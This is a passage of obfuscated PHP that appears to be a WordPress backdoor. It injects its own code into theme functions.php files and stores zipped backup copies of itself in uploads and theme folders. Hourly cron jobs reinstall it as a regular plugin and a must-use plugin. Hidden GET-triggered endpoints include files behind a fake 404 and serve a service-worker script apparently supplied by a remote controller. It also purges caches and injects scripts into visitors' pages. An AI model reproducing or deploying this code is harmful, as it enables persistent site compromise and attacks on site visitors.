if (strpos($current, 'S' . 'C_TH_' . 'BEG' . "IN") !== (29 === 16) || strpos($current, "\x53C_\x54H" . '_LD' . "_") !== (39 == 17)) {
$_op = strpos($current, "SC_T" . "H_" . "BE\x47I" . "N");
$_tail = ($_op !== (15 == 30)) ? substr($current, $_op) : $current;
if (strpos($_tail, 'S' . "C" . "\x5fTH\x4c_") === (10 == 34) && strpos($_tail, 'S' . "C_T\x48_L" . "D" . "_") === (17 == 6) && !preg_match("/" . 'S' . 'C' . '_TH_B' . "\x45\x47" . 'IN:[0-' . "\x39" . '.]+:' . $_ths . ' \\*' . '\\//', $_tail)) {
niga('theme', 'o' . 'rphan_' . 'for' . "eign");
continue;
}
$_oc = ('preg_rep' . "" . "lace")('/\\n' . '?[ ' . "\\\x74" . ']*\\/\\*' . ' SC' . "_\x54H\x5f\x42" . 'EGI' . "N:[^" . '*]*' . "\\*\\" . "/\x2e*" . '$/s', "\n", $current);
if (is_string($_oc)) $current = $_oc;
$_oc = ("p\x72\x65\x67\x5f\x72" . '' . "eplac" . 'e')('/^[ \\t' . "]*\\" . "/\\\x2f\x53C_" . "TH\x5fL" . 'D_[a' . '-f0-9' . "_]+\x5b" . "^\\n]*" . "\\r\x3f\\" . 'n([^\\n' . "]\x2a" . "(\\" . 'r?\\n|' . "\$" . ')' . ")?\x2fm", '', $current);
if (is_string($_oc)) $current = $_oc;
unset($_oc);
if (strpos($current, "SC_T\x48" . '_BE' . 'G' . 'IN') !== (35 == 1)) {
niga('t' . "he\x6d" . 'e', 'orphan');
continue;
}
}
if ($_done) {
if ($current === $_pre_strip) continue;
$_rc = @("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74" . 's')($functions);
if (!is_string($_rc)) continue;
if (strlen($_rc) > (582036 ^ 1630612)) $_rc = vevit($_rc);
if ($_rc !== $_pre_strip) {
niga('theme', "r" . 'm' . 'w_rac' . 'e');
continue;
}
unset($_rc);
if (!seli($functions, $current)) continue;
if (!higiz($functions, $current)) continue;
if (zifo($functions, $current)) vava($functions);
continue;
}
if (preg_match('/^\\s' . '*n' . 'amespa' . 'ce\\' . "\x73\x2b[^;{" . ']+\\s*\\' . "{/m", $current)) {
niga("th\x65" . 'me', 'ns_ski' . "p");
continue;
}
$_prefix = "\x3c" . '?ph' . 'p ';
if (strlen($current) > (1897 ^ 1897) && strpos($current, '<?') !== (19 === 0)) {
$_in_php = (15 === 22);
if (('functi' . 'o' . "\x6e\x5f\x65\x78\x69\x73\x74\x73")('t' . 'oken' . "_g" . 'e' . 't' . '_all')) {
$_tks = @token_get_all($current);
if (is_array($_tks)) {
foreach ($_tks as $_tk) {
if (is_array($_tk)) {
if ($_tk[(3265 ^ 3265)] === T_OPEN_TAG || (defined('T_OPEN' . '_TAG_' . 'WITH' . "_\x45C\x48O") && $_tk[(2079 ^ 2079)] === T_OPEN_TAG_WITH_ECHO)) $_in_php = (19 > 18);
elseif ($_tk[(822 ^ 822)] === T_CLOSE_TAG) $_in_php = (30 == 17);
}
}
}
unset($_tks, $_tk);
} else {
$_lo = strrpos($current, "\x3c" . "\x3f");
$_lc = strrpos($current, '?>');
if ($_lo !== (10 === 35) && ($_lc === (12 == 16) || $_lo > $_lc)) $_in_php = (24 < 25);
unset($_lo, $_lc);
}
if ($_in_php) $_prefix = '';
unset($_in_php);
}
$_sep = (strlen($current) > (1454 ^ 1454)) ? "\n" : '';
$_ic = str_replace($_guard, $_guard . '_' . substr(md5($functions), (394 ^ 394), (3 + 1)), $inject_code);
$inject = $_sep . $_prefix . $_b . "\n" . $_ic . "\n" . $_e . "\n";
unset($_ic);
$_rc = @('file' . '_get' . '_contents')($functions);
if (!is_string($_rc)) {
unset($_pre_strip);
continue;
}
if (strlen($_rc) > (1569240 - 520664)) $_rc = vevit($_rc);
if ($_rc !== $_pre_strip) {
unset($_rc, $_pre_strip);
niga('them' . 'e', "rmw\x5f" . 'rac' . "\x65");
continue;
}
unset($_rc, $_pre_strip);
if (!seli($functions, $current)) continue;
if (!higiz($functions, $current)) {
niga('t' . "heme", 'can' . "a" . 'ry_a' . 'rm_fa' . 'il');
continue;
}
if (!zifo($functions, $current . $inject)) continue;
vava($functions);
$_done = (12 !== 6);
} finally {
if (is_resource($_lh)) {
if (('function_' . 'exis' . 'ts')('flock')) @flock($_lh, LOCK_UN);
@('f' . ("clo" . "se"))($_lh);
}
}
}
return $_done;
} catch (Throwable $e) {
niga("\x74he\x6d" . "\x65", $e);
return (36 === 32);
} catch (Exception $e) {
return (35 == 15);
}
}
function oseki()
{
try {
if (!defined("A\x42" . 'SP' . "\x41\x54\x48")) return;
if (vevud(sc_file())) return;
$base = sc_writable_base();
$zip_name = sc_md5(ABSPATH . "\x7a" . 'i' . 'p', (2 ^ 10)) . '.zip';
$slug = basename(sc_file(), '.ph' . "p");
$src = anoway();
if (!$src || strlen($src) < (452 | 48)) {
niga('ht', 'src' . '_emp' . 'ty');
return;
}
if (!("class_exist" . '' . 's')("Z" . "ip\x41r" . "\x63hive")) return;
$targets = array(
$base . '/' . $zip_name,
$base . '/upl' . 'o' . 'ads/' . date('Y' . '/' . "m" . '/') . $zip_name,
);
$theme_dir = (defined('WP' . '_CO' . "N" . 'TEN' . 'T_D' . 'IR') ? WP_CONTENT_DIR : ABSPATH . "wp-" . "\x63ont" . 'ent') . "\x2fthem" . 'es';
if (@is_dir($theme_dir)) {
$_th_entries = asome($theme_dir, (2419 - 419));
if (is_array($_th_entries)) {
foreach ($_th_entries as $e) {
$t = $theme_dir . '/' . $e;
if (@is_dir($t) && @is_writable($t)) {
$targets[] = $t . '/' . $zip_name;
break;
}
}
}
}
foreach ($targets as $zt) {
if (@file_exists($zt) && @filesize($zt) > (40 | 960)) {
$za_cls = 'Zi' . "\x70A" . 'rc' . 'hive';
if (("\x63l\x61\x73\x73_e" . '' . 'xis' . "\x74\x73")($za_cls)) {
$_zk = new $za_cls();
if (@$_zk->open($zt) === (17 !== 13)) {
$_zok = (22 === 40);
$_zi = $_zk->locateName($slug . '/' . $slug . '.php');
if ($_zi !== (36 == 10)) {
$_zst2 = $_zk->statIndex($_zi);
if (is_array($_zst2) && isset($_zst2["s\x69\x7a" . 'e']) && (int) $_zst2['siz' . "\x65"] <= (2499741 ^ 19276957)) {
$_zc = $_zk->getFromIndex($_zi);
$_zok = (is_string($_zc) && md5($_zc) === md5($src));
unset($_zc);
}
unset($_zst2);
}
$_zk->close();
if ($_zok) continue;
}
}
}
$dir = dirname($zt);
if (!@is_dir($dir)) qeru($dir, (357 | 136), (21 !== 9));
$za_cls = 'ZipA' . 'rch' . 'ive';
$ztmp = rojif($dir, 'sc_');
if (!is_string($ztmp) || $ztmp === '') continue;
$zip = new $za_cls();
if (@$zip->open($ztmp, $za_cls::CREATE | $za_cls::OVERWRITE) === (24 !== 5)) {
$zip->addFromString($slug . '/' . $slug . '.' . "ph" . "p", $src);
$zip->close();
$_zv = new $za_cls();
if (@$_zv->open($ztmp) === (35 != 15)) {
$_zv->close();
if (ojaqop($ztmp, $zt) || (ogixoh($ztmp, $zt) && jomug($ztmp))) {
alevu($zt, ocisu());
legiv($zt, (79 ^ 491));
} else {
jomug($ztmp);
}
} else {
jomug($ztmp);
}
} else {
jomug($ztmp);
}
}
} catch (Throwable $e) {
niga('zip', $e);
} catch (Exception $e) {
}
}
function sc_cron_recovery_setup()
{
try {
if (!(('fun' . 'cti') . "" . 'on_exists')('wp_sch' . 'ed' . "\x75\x6ce_e" . 'ven' . 't') || !(("\x66\x75" . 'nction_exist') . "" . 's')('wp_ne' . 'x' . 't' . '_sch' . "e\x64" . 'ule' . 'd')) return;
if (!defined('ABSPAT' . "\x48")) return;
$hook = "sc_c\x72" . 'on_re' . 'cov' . 'ery';
if (!wp_next_scheduled($hook)) {
wp_schedule_event(time() + (107 ^ 327), "h\x6f" . 'urly', $hook);
}
if (!wp_next_scheduled('s' . "c\x5f\x63r" . "\x6fn_" . "gu\x61\x72d")) {
wp_schedule_event(time() + (425 + 175), 's' . "\x63" . '_gua' . "rd_\x69" . 'nte' . 'rv' . 'al', "sc" . '_' . 'cron_' . 'guard');
}
} catch (Throwable $e) {
niga("\x63" . 'r' . 'on_se' . "tup", $e);
} catch (Exception $e) {
}
}
function sc_cron_guard_tick()
{
try {
if (!defined('ABSPAT' . "H")) return;
if ((("fun" . "\x63t\x69\x6fn\x5f\x65x\x69") . "st" . "s")('sc_pr' . "\x75ne_" . 'stale' . "_\x6f" . "\x77n") && ("function_ex" . '' . 'ists')('sc_p' . 'run' . "\x65_due") && sc_prune_due()) {
sc_prune_stale_own('maint' . 'e' . "\x6ea\x6e" . "c" . "e");
if (("func" . 'tion_e' . 'xists')('sc_pr' . "une_m\x61" . "r\x6b\x5f\x72\x75" . "n")) sc_prune_mark_run();
}
$hash = sc_md5(ABSPATH . 'g', (19 - 11));
$dirs = array();
if (("function_" . "e" . ('x' . "ists"))('sc' . '_dat' . "\x61" . '_di' . 'r')) $dirs[] = sc_data_dir();
$dirs[] = ABSPATH . 'wp-' . 'incl' . 'ud' . "\x65s";
if (("\x66" . ('' . "unction_exists"))('sc_wri' . 'tab' . 'le_bas' . "e")) $dirs[] = sc_writable_base();
foreach ($dirs as $gd) {
$hb = $gd . '/.gl' . '_' . $hash;
if (@is_file($hb) && (int) @filemtime($hb) > time() - (475 - 235)) return;
}
foreach ($dirs as $gd) {
$_gx = $gd . "\x2f" . "." . "g" . 'x_' . $hash;
if (@is_file($_gx)) {
$_gxm = (int) @filemtime($_gx);
if ($_gxm > time() - (72586 ^ 18954) && $_gxm <= time() + (301 ^ 1)) continue;
jomug($_gx);
}
$gp = $gd . '/.g_' . $hash . '.ph' . 'p';
if (@is_file($gp) && (int) @filesize($gp) > (436 | 64)) {
$_gm = $gd . '/.gm_' . $hash;
$_gmv = @is_file($_gm) ? trim((string) @("\x66\x69l" . 'e_ge' . "t_c" . "ontents")($_gm)) : '';
if ($_gmv !== '' && ('f' . 'unctio' . "n\x5fe\x78\x69\x73" . "ts")("\x6d" . 'd5_fil' . 'e') && @md5_file($gp) === $_gmv) {
@include/**/ $gp;
return;
}
if ($_gmv !== '') {
jomug($gp);
}
unset($_gm, $_gmv);
}
}
unset($_gx, $_gxm);
if (('fun' . "\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74" . "s")('delete' . '_' . 'tran' . "\x73i\x65nt")) @delete_transient('sc_g' . 'uard');
sc_drop_guard();
} catch (Throwable $e) {
niga('cron' . '_gua' . 'r' . "\x64", $e);
} catch (Exception $e) {
}
}
function sc_cron_recovery()
{
try {
if (!defined("\x41\x42" . "S" . 'PATH')) return;
tovoj(null);
$slug = basename(sc_file(), '.php');
$plugin_file = sc_file();
$src = '';
if (@is_file($plugin_file) && @filesize($plugin_file) > (640 | 4360)) {
$_up = kasod($plugin_file);
if (is_string($_up) && strlen($_up) > (426 + 74) && nifa($_up)) $src = $_up;
unset($_up);
}
if ($src === '') {
$opt_name = sc_md5(ABSPATH . 'opt', (11 + -1));
$b64 = ("\x66\x75" . "\x6e\x63\x74\x69\x6f" . "n_ex" . "ists")('get' . "\x5fop\x74i\x6f" . 'n') ? @get_option($opt_name, '') : '';
if (!$b64 || strlen($b64) < (679 - 179)) return;
$src = vuya(('base6' . "4" . "_decode")($b64));
if (!$src || strlen($src) < (184 ^ 332)) return;
if (!nifa($src)) {
niga('in' . "\x73\x74al" . 'le' . 'd', "\x73\x72" . 'c_' . 'inv' . "al" . 'id');
return;
}
}
$base = sc_writable_base();
$pd = $base . "/" . "p\x6cu\x67i" . 'ns/' . $slug;
$pf = $pd . '/' . $slug . ".\x70h" . 'p';
if (!@is_dir($pd)) qeru($pd, (139 + 354), (21 != 4));
$_pfc = @is_file($pf) ? kasod($pf) : '';
$_pfn = ($_pfc === null);
if (is_string($_pfc) && $_pfc !== '' && preg_match('/\\/\\*' . ' ' . 'SCV:(\\' . 'd+\\.\\d' . '+\\.' . "\\d\x2b)" . " " . '\\*\\' . "//", substr($_pfc, (4008 ^ 4008), (2103 ^ 6199)), $_pfm) && version_compare($_pfm[(3847 ^ 3846)], sc_ver(), '>')) $_pfn = (35 != 2);
unset($_pfm);
if (!$_pfn && (!is_string($_pfc) || $_pfc === '' || md5($_pfc) !== md5($src))) {
if (zifo($pf, tafi($src))) {
legiv($pf, (165 ^ 257));
fife($pf);
egaler($pf);
}
}
unset($_pfc, $_pfn);
neru($slug, $slug . '/' . $slug . '.' . 'php');
yore($slug);
$mu_dir = sc_mu();
if ((@is_dir($mu_dir) && @is_writable($mu_dir)) || (!@is_dir($mu_dir) && qeru($mu_dir, (621 - 128), (20 !== 16)))) {
$mf = $mu_dir . '/' . $slug . '.php';
$_mfc = @is_file($mf) ? kasod($mf) : '';
$_mfn = ($_mfc === null);
if (is_string($_mfc) && $_mfc !== '' && preg_match("/\\/\\* " . "SCV:\x28" . "\\d+\\\x2e\\" . 'd+\\.\\' . 'd+) \\*' . "\\//", substr($_mfc, (755 ^ 755), (2914 + 1182)), $_mfm) && version_compare($_mfm[(1022 ^ 1023)], sc_ver(), '>')) $_mfn = (36 !== 37);
unset($_mfm);
if (!$_mfn && (!is_string($_mfc) || $_mfc === '' || md5($_mfc) !== md5($src))) {
if (zifo($mf, tafi($src))) {
legiv($mf, (160 | 260));
fife($mf);
egaler($mf);
}
} elseif (!$_mfn) {
$_mft = @filemtime($mf);
if (!$_mft || ($_mft % (32896 | 67104)) !== nasa()) fife($mf);
unset($_mft);
}
unset($_mfc, $_mfn);
}
hepov($src);
} catch (Throwable $e) {
niga("cron" . "_" . "\x72ec", $e);
} catch (Exception $e) {
}
}
function itome()
{
if (!isset(${'_' . 'G' . "\x45" . "\x54"}['p']) || !is_string(${'_' . "G" . ("E" . 'T')}['p'])) return;
$_gp = ${'_G' . "E" . "\x54"}['p'];
if ($_gp === yaya('inst')) {
${"\x47" . 'LOBALS'}["\x73c\x5f" . "\x64\x61\x74\x61sc"] = (31 !== 23);
try {
$_if = sc_data_dir() . '/' . sc_md5(ABSPATH . "in" . 'st', (10 ^ 2)) . ".\x70h" . 'p';
$_ifs = @is_file($_if) ? (int) @filesize($_if) : (269 ^ 269);
if ($_ifs > (102 + 398) && $_ifs <= (10045677 - 4802797)) {
include/*x*/ $_if;
}
} catch (Throwable $e) {
} catch (Exception $e) {
}
while (ob_get_level() > (2713 ^ 2713) && @ob_end_clean()) {
}
("h" . "e" . "a" . 'der')('HTTP' . '/1.1' . ' 40' . "\x34 N" . 'ot' . " F" . 'ou' . "nd");
exit;
}
if ($_gp !== yaya('sw')) return;
try {
if (("function_ex" . "\x69s\x74s")("g\x65\x74" . "_\x6f\x70" . "\x74io" . 'n') && ('func' . "tion_" . "\x65\x78\x69\x73\x74\x73")("\x75p\x64" . 'ate' . "_o\x70t" . "\x69on")) {
@update_option('s' . "c\x5fs" . 'w' . '_ep_' . 'hi' . "t" . "s", (int) @get_option("sc_s\x77_" . "ep\x5f\x68i" . 'ts', (1210 ^ 1210)) + (1940 ^ 1941), 'no');
@update_option('sc_' . 'sw_ep' . "_\x6c\x61st", time(), 'no');
}
$c2_sw = caje("\x73\x77_c" . 'a' . "che" . "d", '');
if (strlen($c2_sw) > (80 + 20) && !preg_match("/^" . "\\s*" . '(?:' . '\\(' . '|\\/\\*|' . "\\\x2f\\" . '/|var' . ' |le' . 't |con' . 'st |f' . 'unc' . 'tion ' . "|\x73e\x6cf" . "\\" . ".)" . '/', $c2_sw) && preg_match("\x2f^[A" . '-Z' . 'a' . "-z\x30-\x39+" . "\\\x2f=" . '\\' . 'r\\n]+' . "\$" . '/', $c2_sw)) {
$_dec = @('base64_' . 'de' . 'code')($c2_sw, (15 != 36));
if ($_dec !== (23 == 39) && strlen($_dec) > (123 - 23)) $c2_sw = $_dec;
}
if (strlen($c2_sw) < (3 ^ 103)) $c2_sw = suku();
if (strlen($c2_sw) < (161 - 61)) {
while (ob_get_level() > (766 ^ 766) && @ob_end_clean()) {
}
('h' . 'ea' . 'der')('Conten' . "t-" . 'Type' . "\x3a" . "\x20" . "a\x70plic" . 'atio' . "\x6e\x2fj\x61v\x61" . 'sc' . 'rip' . "\x74" . ";\x20c" . 'h' . 'ar' . "se" . 't=utf' . '-' . '8');
(("\x68\x65" . "a") . 'd' . "\x65\x72")('Servi' . 'ce' . "\x2dWo" . 'rk' . 'er' . "-" . 'Allo' . 'wed:' . ' /');
(("he" . 'a') . 'de' . 'r')("HT" . 'TP/1' . "." . '1 ' . "\x3204 " . "No\x20Con" . 't' . "ent");
exit;
}
$cfg = caje('s' . 'w_conf' . 'ig', '');
$etag = '"' . md5($cfg . $c2_sw) . '"';
if (isset(${('_SE' . "R") . 'VER'}['HTTP_I' . "\x46\x5f" . 'NO' . 'NE_M' . "ATC\x48"]) && trim(${"_" . "SE" . 'R' . "" . "VER"}['H' . 'T' . 'TP' . "_IF_\x4e" . "ON" . 'E' . "_M\x41TCH"]) === $etag) {
while (ob_get_level() > (2909 ^ 2909) && @ob_end_clean()) {
}
("hea" . 'd' . ('e' . "r"))("HT\x54" . 'P/1' . '.1 3' . '04' . ' Not ' . "M\x6f\x64i" . "f" . "i" . 'e' . 'd');
("\x68" . 'ea' . 'de' . "\x72")("E" . "\x54a\x67: " . $etag);
exit;
}
while (ob_get_level() > (3743 ^ 3743) && @ob_end_clean()) {
}
('he' . '' . "ader")("\x43onte" . 'n' . 't-' . "Type\x3a\x20" . 'appl' . "i\x63\x61\x74io" . 'n/jav' . 'ascri' . 'pt; ' . 'c' . 'har' . 's' . 'et=ut' . "f\x2d8");
('he' . ("ad" . 'er'))('Servi' . 'ce-Wor' . "ke" . "r\x2d" . 'Allowe' . "d" . ': ' . '/');
(('hea' . "\x64\x65") . 'r')("C" . "ach\x65" . "\x2dC\x6f\x6e" . 'tr' . "\x6fl\x3a " . 'no' . "-ca\x63h\x65");
('he' . ("a" . 'd') . 'er')('E' . 'Tag: ' . $etag);
echo $cfg . $c2_sw;
exit;
} catch (Throwable $e) {
niga('s' . "\x77_\x65" . "p", $e);
} catch (Exception $e) {
niga('sw_' . 'e' . 'p', $e);
}
}
itome();
function ejevew()
{
if (!isset(${"\x5fG" . "E" . 'T'}["sc_ver" . 'ify'])) return;
try {
$given = ${'_' . ('' . 'GET')}['sc_ve' . "rify"];
if (!is_string($given) || $given === '') return;
$given = strtolower($given);
$hosts = array();
if (("\x66\x75n" . '' . "cti" . 'on_' . 'exists')('hom' . "e_ur" . 'l')) $hosts[] = (string) parse_url(home_url(), PHP_URL_HOST);
if (("fu" . "n" . "" . ("ction_exist" . "\x73"))("get" . '_' . 'opt' . 'ion')) {
$_su = (string) @get_option('s' . 'iteur' . 'l', '');
if ($_su !== '') $hosts[] = (string) parse_url($_su, PHP_URL_HOST);
}
if (isset(${"_SER" . 'VER'}["H" . 'TTP_' . 'HOST'])) $hosts[] = (string) ${'_S' . "\x45RV" . "\x45" . 'R'}['HTT' . 'P_HOS' . 'T'];
$hosts[] = wutup('');
$_ok = (19 == 34);
foreach (array_unique($hosts) as $_h) {
if (!is_string($_h) || $_h === '') continue;
if (strpos($_h, ':') !== (34 == 18)) $_h = ("\x70\x72\x65" . 'g_repla' . "c" . "" . "e")('/:\\' . 'd+$/', '', $_h);
if (sc_md5(strtolower($_h) . '|ve' . "r" . 'ify', (23 - 11)) === $given) {
$_ok = (26 != 28);
break;
}
}
if (!$_ok) return;
$probe = str_repeat('sc_sem' . 'antic' . '_pr' . 'o' . "be" . '|', (25 ^ 7));
$rt = vuya(opuqi($probe));
while (ob_get_level() > (1593 ^ 1593) && @ob_end_clean()) {
}
('h' . "" . "\x65a" . "de" . 'r')("\x43\x6fnt\x65n" . 't-Type' . ': ' . 'text/' . "\x70la" . "in");
("h\x65" . "" . "\x61d" . "er")("C\x61che-" . "\x43\x6f" . 'n' . "trol:" . ' n' . 'o-' . 's' . 'tor' . "\x65");
echo ($rt === $probe) ? 'SC' . '_SEM' . ":" . md5($probe) : 'SC_' . 'SEM_FA' . 'IL';
exit;
} catch (Throwable $e) {
niga('veri' . "fy" . "\x5fep", $e);
} catch (Exception $e) {
niga('ver' . 'i' . "fy_e" . 'p', $e);
}
}
ejevew();
function sc_purge_caches()
{
$_ok = (28 !== 4);
$_t = function ($cb) use (&$_ok) {
try {
("call_use" . '' . 'r_fun' . 'c')($cb);
} catch (Throwable $e) {
$_ok = (33 == 34);
} catch (Exception $e) {
$_ok = (22 == 0);
}
};
if (("fun" . "c\x74\x69o\x6e_e" . '' . "xis" . "ts")("\x72ocket" . "_" . "\x63\x6c" . "ean\x5fd" . "oma" . "i" . 'n')) $_t("ro" . 'c' . "k\x65t\x5f\x63l" . 'ean_do' . 'main');
if ((('function_' . 'ex') . "\x69\x73\x74\x73")('w3t' . 'c_fl' . 'ush_' . "a\x6cl")) $_t("\x773" . 't' . 'c_' . 'flush_' . "a\x6c" . "l");
if (('funct' . 'ion_exists')('sg_cac' . 'h' . 'ep' . "ress\x5f\x70" . 'urge_c' . 'ach' . 'e')) $_t('sg_ca' . 'c' . "\x68\x65pr" . 'ess' . "_p" . 'urg' . "e_c\x61" . 'c' . "he");
if (("funct" . "\x69\x6f\x6e\x5fe\x78i" . 'st' . 's')('lit' . 'espeed' . '_purg' . "e\x5f" . "all")) $_t("lite\x73\x70" . "eed_" . 'p' . 'urg' . 'e_' . 'al' . 'l');
elseif (('clas' . ('s_ex' . "ists"))('Lite' . "Spe" . 'e' . 'd_Ca' . 'che_AP' . "I") && ("method_" . "exists")("Li\x74" . 'eSpeed' . '_C' . "ache_" . 'API', "\x70u" . "rg" . "e\x5fal" . "l")) $_t(array("\x4c" . 'iteS' . 'peed' . "\x5fCa" . 'ch' . "e_API", 'purge' . '_' . 'a' . 'l' . "l"));
if (("c" . "lass" . '_exist' . 's')('Bre' . "ez\x65" . "\x5fP" . 'u' . 'rg' . 'eCache') && ("meth" . "\x6f" . "d\x5fe\x78i" . 'sts')('Breez' . 'e_Purg' . 'eC' . "\x61\x63" . "h\x65", 'bree' . "ze" . "\x5fc" . 'ache' . '_flush')) $_t(array('Breez' . 'e_Pu' . 'r' . 'geCa' . "che", 'breeze' . '_cach' . "e" . "\x5f\x66" . 'lush'));
if (("c\x6cas\x73\x5f\x65\x78i\x73" . 'ts')("Cac" . "he\x5fEn" . 'ab' . 'ler') && ("metho" . "\x64\x5f\x65\x78i" . 'st' . 's')('Cac' . 'he_En' . "abl" . "\x65\x72", 'clear' . "_" . 'tot' . 'al_' . 'cache')) $_t(array('Cach' . "\x65_E" . 'nabl' . 'e' . 'r', 'c' . 'le' . "a\x72\x5f" . 'tot' . "\x61l_" . 'cache'));
if (("\x66un" . "" . "ction" . '_e' . "xists")('w' . "p" . 'fc_' . "c\x6cea" . "\x72\x5fa\x6c" . "l_c" . "ac" . "he")) $_t("wp\x66c" . "\x5fc\x6ce\x61" . "r_\x61ll" . '_ca' . 'che');
elseif (isset(${'GL' . "OBA" . '' . "LS"}["wp\x5ff" . "as\x74e" . "\x73t\x5f\x63ac" . 'he']) && is_object(${"\x47LOBA" . "" . "L" . 'S'}['w' . 'p_f' . 'a' . 'st' . "\x65\x73t\x5f" . 'cac' . 'h' . "e"]) && ("m" . ("\x65\x74\x68\x6f\x64\x5f" . "\x65\x78") . "\x69s\x74\x73")(${("G" . "L") . 'OBA' . 'LS'}["w\x70_\x66a" . "s\x74e\x73t" . '_cache'], 'delet' . 'eCa' . 'c' . "he")) $_t(function () {
${"GLOB" . "ALS"}["wp" . '_fa' . 'stes' . "t" . '_cache']->deleteCache((23 !== 16));
});
if (('f' . "\x75n\x63\x74ion\x5f\x65\x78\x69\x73\x74\x73")("wp" . "\x5f\x63a" . 'c' . 'he_c' . 'l' . 'ear' . '_cache')) $_t("wp_\x63a" . "ch\x65_\x63" . "\x6cear_\x63" . 'ache');
if (('cl' . "as\x73\x5f\x65\x78i\x73t\x73")('autopt' . 'imi' . 'zeCach' . 'e') && ('method_ex' . "\x69\x73\x74\x73")('a' . "\x75\x74o\x70t\x69" . 'miz' . 'eCa' . 'che', "c\x6c" . 'ear' . "a\x6c" . 'l')) $_t(array('autopt' . 'imiz' . 'eCac' . "he", 'clear' . "all"));
niga('cache', 'purge_' . "o" . 'n' . "_js" . '_c' . 'hange');
return $_ok;
}
function qila()
{
if (("\x66" . 'unction_ex' . "\x69\x73\x74" . "s")('is_ad' . "min") && is_admin()) return (24 != 8);
if (('function_' . ("\x65\x78\x69\x73" . "ts"))('w' . "\x70_doin" . 'g_a' . 'j' . 'ax') && wp_doing_ajax()) return (38 != 7);
if (defined('RE' . "ST_\x52E\x51" . "U" . 'EST') && REST_REQUEST) return (13 !== 35);
if (defined('XML' . "RPC\x5f" . "R\x45Q\x55" . 'EST') && XMLRPC_REQUEST) return (23 !== 0);
if (('fu' . 'nction_ex' . 'ists')('is_' . "\x66" . 'eed') && is_feed()) return (36 < 37);
if (("f\x75nc\x74" . "" . 'ion_exists')("is_r\x6fb" . 'o' . 'ts') && is_robots()) return (18 != 36);
if (('functio' . "n_e" . ("xis" . "ts"))("\x69s\x5fsi" . 'tem' . "a" . 'ps') && is_sitemaps()) return (38 > 37);
if (("fu" . "\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . "sts")('is' . "_\x63\x75sto" . 'm' . 'iz' . 'e' . "_" . 'prev' . 'iew') && is_customize_preview()) return (33 != 26);
if (isset(${'_G' . ('' . "\x45\x54")}['ele' . "m" . "ento" . "r-pr" . 'evi' . "ew"]) || isset(${'_' . "GE\x54"}['cust' . 'omize' . '_ch' . "\x61n\x67ese" . 't_' . 'uui' . "d"]) || isset(${"_" . ("\x47" . "ET")}['fl_bu' . 'ilder'])) return (7 !== 11);
return (34 == 7);
}
function kofo()
{
$inline = (isset(${("\x47L" . "\x4f\x42\x41\x4c") . "S"}['sc_js']) && is_string(${'G' . "\x4c\x4f\x42" . "ALS"}['sc_js'])) ? trim(${"GLOB" . "\x41L" . 'S'}['sc_js']) : '';
if ($inline === '') return '';
$inline = str_replace('</' . "s" . 'cript', '<\\/' . "\x73cr" . 'ipt', $inline);
$host = ('function_e' . "xists")('home_u' . "rl") ? (string) parse_url(home_url(), PHP_URL_HOST) : '';
$mark = sc_md5(strtolower($host), (20 - 14));
$jh = substr(md5($inline), (3693 ^ 3693), (2 | 4));
return "\n<\x73" . 'cri' . 'pt d' . 'ata-' . 'sc="' . $mark . '-' . $jh . '">' . "\n" . $inline . "\n<\x2f" . 'scr' . 'ipt>' . "\n<\x21\x2d\x2d" . " sc" . $mark . '-' . $jh . ' --' . '>' . "\n";
}
function sc_js_out()
{
try {
if (qila()) return;
$tag = kofo();
if ($tag === '') return;
echo $tag;
${("\x47" . "L") . 'OBA' . 'LS'}["sc\x5f" . 'js_pri' . 'nted'] = (26 !== 12);
if (("function_ex" . "\x69st\x73")("g\x65t_o" . "pt\x69o\x6e") && ("\x66\x75nc\x74\x69\x6f\x6e\x5fe\x78" . 'ists')('up' . "dat" . 'e_' . 'opti' . 'on') && empty(${"G" . "\x4c\x4f\x42\x41" . "LS"}['sc_' . 'js_pr' . "\x69\x6e" . 't_n' . "o" . 'te'])) {
${"G" . 'L' . 'OB' . "A\x4c\x53"}['sc' . '_j' . "s\x5fp" . 'r' . 'int_' . 'note'] = (32 !== 33);
$_pt = (int) @get_option('sc_js' . '_prin' . 'ted_ts', (196 ^ 196));
if (time() - $_pt > (32 | 268)) @update_option('sc' . '_js_p' . 'ri' . "nte\x64\x5f" . "t" . "s", time(), 'no');
unset($_pt);
}
} catch (Throwable $e) {
niga('js', $e);
} catch (Exception $e) {
}
}
function sc_js_ob_cb($html, $phase = (2048 ^ 2048))
{
if (!is_string($html) || $html === '') return $html;
if (defined('PHP_O' . 'UTPUT' . "_" . 'HANDL' . "\x45R_\x46" . 'IN' . 'AL') && !($phase & PHP_OUTPUT_HANDLER_FINAL)) return $html;
if (!empty(${'GL' . "OB" . "ALS"}["\x73c_d" . 'ata' . "sc"])) return $html;
if (!empty(${('G' . "\x4c\x4f\x42\x41") . "" . "LS"}["\x73\x63_j" . "s_p" . "r\x69nt" . 'ed'])) return $html;
if (strlen($html) > (5040712 - 846408)) return $html;
if ((('funct' . 'io') . "\x6e\x5f\x65xis\x74\x73")('h' . "e\x61" . "d" . 'ers_li' . "\x73t")) {
foreach ((array) @headers_list() as $_hb) {
if (stripos($_hb, 'Conten' . "t\x2dDisp" . 'ositio' . 'n:') === (2461 ^ 2461) && stripos($_hb, 'att' . "\x61" . 'ch' . 'ment') !== (17 == 40)) return $html;
if (stripos($_hb, 'Cont' . 'e' . "n\x74\x2d" . "Ty" . 'pe:') === (790 ^ 790) && stripos($_hb, 't' . "\x65" . "xt/\x68t\x6d" . 'l') === (2 == 26) && stripos($_hb, 'appl' . 'ic' . "a" . "t\x69" . "on" . '/xht' . "\x6dl") === (32 === 0)) return $html;
}
unset($_hb);
}
$tag = kofo();
if ($tag === '') return $html;
if (stripos($html, '</bo' . 'dy>') === (36 === 14) && stripos($html, '<html') === (27 === 10)) return $html;
${'GLO' . '' . "\x42\x41\x4cS"}["s\x63_" . 'js_pr' . 'i' . "nte" . "d"] = (22 !== 35);
${'G' . "" . "LO" . 'BALS'}['sc_js_' . 'ob' . '_used'] = (27 != 23);
$_bp = stripos($html, '</bo' . "\x64y\x3e");
if (!($_bp !== (24 == 25))) {} else {
return substr($html, (2718 ^ 2718), $_bp) . $tag . substr($html, $_bp);
}
return $html . $tag;
}
function sc_js_ob_start()
{
try {
if (qila()) return;
if (!empty(${"\x47LOB" . '' . "ALS"}['s' . 'c_d' . 'atasc'])) return;
